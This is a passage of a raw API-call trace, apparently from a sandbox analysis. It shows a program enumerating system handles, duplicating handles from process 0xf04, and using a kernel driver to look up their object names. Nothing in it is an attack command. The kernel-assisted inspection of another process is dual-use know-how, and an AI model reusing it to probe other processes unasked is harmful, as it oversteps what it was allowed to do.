(HeapHandle=0x270000, Flags=0x0, Size=0x4000) returned 0x298be0 [0110.278] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x298be0, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x6f618) returned 0xc0000004 [0110.281] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.281] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x8000) returned 0x298be0 [0110.282] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x298be0, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x6f618) returned 0xc0000004 [0110.284] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.284] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x10000) returned 0x298be0 [0110.285] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x298be0, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x6f618) returned 0xc0000004 [0110.287] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.287] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20000) returned 0x298be0 [0110.287] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x298be0, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x6f618) returned 0xc0000004 [0110.292] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.292] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x40000) returned 0x298be0 [0110.293] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x298be0, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x6f618) returned 0xc0000004 [0110.302] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.302] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x80000) returned 0x1ed0080 [0110.303] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1ed0080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1ed0080, ResultLength=0x12e420*=0x6f5f0) returned 0x0 [0110.430] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x4000) returned 0x298be0 [0110.430] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x298be0, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x12700) returned 0xc0000004 [0110.430] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.430] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x8000) returned 0x298be0 [0110.430] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x298be0, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x12700) returned 0xc0000004 [0110.430] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0xc000) returned 0x298be0 [0110.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x298be0, Length=0xc000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x12700) returned 0xc0000004 [0110.431] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x10000) returned 0x298be0 [0110.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x298be0, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x12700) returned 0xc0000004 [0110.431] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x298be0 | out: hHeap=0x270000) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x14000) returned 0x298be0 [0110.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x298be0, Length=0x14000, ResultLength=0x12e420 | out: SystemInformation=0x298be0, ResultLength=0x12e420*=0x12700) returned 0x0 [0110.431] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.431] GetCurrentProcess () returned 0xffffffffffffffff [0110.431] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.431] CloseHandle (hObject=0xc0) returned 1 [0110.431] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.431] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.432] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.432] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.432] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.432] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.432] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.432] PsAcquireProcessExitSynchronization () returned 0x0 [0110.432] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.432] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021aa930, HandleInformation=0x0) returned 0x0 [0110.432] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.432] PsReleaseProcessExitSynchronization () returned 0x2 [0110.432] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.432] ObQueryNameString (in: Object=0xfffffa80021aa930, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.432] ObfDereferenceObject (Object=0xfffffa80021aa930) returned 0x3 [0110.432] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.432] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.432] CloseHandle (hObject=0xc4) returned 1 [0110.432] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.432] GetCurrentProcess () returned 0xffffffffffffffff [0110.432] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.432] CloseHandle (hObject=0xc4) returned 1 [0110.432] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.432] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.432] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.433] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.433] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0110.433] CloseHandle (hObject=0xc0) returned 1 [0110.433] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.433] GetCurrentProcess () returned 0xffffffffffffffff [0110.434] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.434] CloseHandle (hObject=0xc0) returned 1 [0110.434] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.434] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x294d20 [0110.434] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.434] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.434] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.434] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.434] PsAcquireProcessExitSynchronization () returned 0x0 [0110.434] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.434] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800242c5a0, HandleInformation=0x0) returned 0x0 [0110.434] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.434] PsReleaseProcessExitSynchronization () returned 0x2 [0110.434] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.434] ObQueryNameString (in: Object=0xfffffa800242c5a0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.434] ObfDereferenceObject (Object=0xfffffa800242c5a0) returned 0x2 [0110.434] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.434] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.434] CloseHandle (hObject=0xc4) returned 1 [0110.434] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.434] GetCurrentProcess () returned 0xffffffffffffffff [0110.434] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.434] CloseHandle (hObject=0xc4) returned 1 [0110.434] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.434] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x294d20 [0110.434] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.434] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.434] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.434] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.435] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.435] PsAcquireProcessExitSynchronization () returned 0x0 [0110.435] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.435] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003979880, HandleInformation=0x0) returned 0x0 [0110.435] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.435] PsReleaseProcessExitSynchronization () returned 0x2 [0110.435] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.435] ObQueryNameString (in: Object=0xfffffa8003979880, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.435] ObfDereferenceObject (Object=0xfffffa8003979880) returned 0x3 [0110.435] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.435] CloseHandle (hObject=0xc0) returned 1 [0110.435] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.435] GetCurrentProcess () returned 0xffffffffffffffff [0110.435] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.435] CloseHandle (hObject=0xc0) returned 1 [0110.435] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.435] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x80) returned 0x294d20 [0110.435] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.435] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.435] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.435] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.435] PsAcquireProcessExitSynchronization () returned 0x0 [0110.435] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.435] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0047b3060, HandleInformation=0x0) returned 0x0 [0110.435] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.435] PsReleaseProcessExitSynchronization () returned 0x2 [0110.435] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.435] ObQueryNameString (in: Object=0xfffff8a0047b3060, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.435] ObfDereferenceObject (Object=0xfffff8a0047b3060) returned 0x2 [0110.435] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.435] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.435] CloseHandle (hObject=0xc4) returned 1 [0110.435] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.436] GetCurrentProcess () returned 0xffffffffffffffff [0110.436] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x9c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0110.436] CloseHandle (hObject=0xc4) returned 1 [0110.436] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.436] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x80) returned 0x294d20 [0110.436] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.436] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.436] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.436] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.436] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.436] PsAcquireProcessExitSynchronization () returned 0x0 [0110.436] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.436] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002608e60, HandleInformation=0x0) returned 0x0 [0110.436] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.436] PsReleaseProcessExitSynchronization () returned 0x2 [0110.436] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.436] ObQueryNameString (in: Object=0xfffffa8002608e60, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.436] ObfDereferenceObject (Object=0xfffffa8002608e60) returned 0x2 [0110.436] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.436] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.436] CloseHandle (hObject=0xc0) returned 1 [0110.436] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0110.436] GetCurrentProcess () returned 0xffffffffffffffff [0110.436] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x94, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0110.436] CloseHandle (hObject=0xc0) returned 1 [0110.436] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0110.437] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x78) returned 0x294d20 [0110.437] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x294d20, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x294d20, ReturnLength=0x0) returned 0x0 [0110.437] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.437] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.437] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.437] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.437] PsAcquireProcessExitSynchronization () returned 0x0 [0110.437] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.437] ObReferenceObjectByHandle (in: Handle=0x94, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002514cc0, HandleInformation=0x0) returned 0x0 [0110.437] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.437] PsReleaseProcessExitSynchronization () returned 0x2 [0110.437] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.437] ObQueryNameString (in: Object=0xfffffa8002514cc0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.437] ObfDereferenceObject (Object=0xfffffa8002514cc0) returned 0x2 [0110.437] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.437] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f50090 | out: hHeap=0x270000) returned 1 [0110.437] CloseHandle (hObject=0xc4) returned 1 [0110.437] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xf04) returned 0xc4 [0110.437] GetCurrentProcess () returned 0xffffffffffffffff [0110.437] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x90, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0110.437] CloseHandle (hObject=0xc4) returned 1 [0110.437] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x88) returned 0x294d20 [0110.437] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x294d20, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x294d20*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0110.437] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff880055905a8 | out: Process=0xfffff880055905a8) returned 0x0 [0110.437] PsAcquireProcessExitSynchronization () returned 0x0 [0110.437] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905c8 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905c8) [0110.437] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880055905b0, HandleInformation=0x0 | out: Object=0xfffff880055905b0*=0xfffffa8001f45a30, HandleInformation=0x0) returned 0x0 [0110.437] PsReleaseProcessExitSynchronization () returned 0x2 [0110.437] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.438] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880055905a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880055905a4) returned 0xc0000004 [0110.438] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a00304d9f0 [0110.438] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a00304d9f0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a00304d9f0, ReturnLength=0x0) returned 0x0 [0110.438] ExFreePoolWithTag (P=0xfffff8a00304d9f0, Tag=0x0) [0110.438] ObfDereferenceObject (Object=0xfffffa8001f45a30) returned 0x1 [0110.438] KeUnstackDetachProcess (ApcState=0xfffff880055905c8) [0110.438] IofCompleteRequest (Irp=0xfffffa80022b2ee0, PriorityBoost=0) [0110.438] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x294d20 | out: hHeap=0x270000) returned 1 [0110.438] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f50090 [0110.438] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f50090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f50090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0110.438] PsLookupProcessByProcessId (in: ProcessId=0xf04, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.438] PsAcquireProcessExitSynchronization () returned 0x0 [0110.438] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880055905d0) [0110.438] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f45a30, HandleInformation=0x0) returned 0x0 [0110.438] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.438] PsReleaseProcessExitSynchronization () returned 0x2 [0110.438] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x22 [0110.438] ObQueryNameString (in: Object=0xfffffa8001f45a30, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.438] ObfDereferenceObject (Object=0xfffffa8001f45a30) returned 0x1 [0110.438] IofCompleteRequest 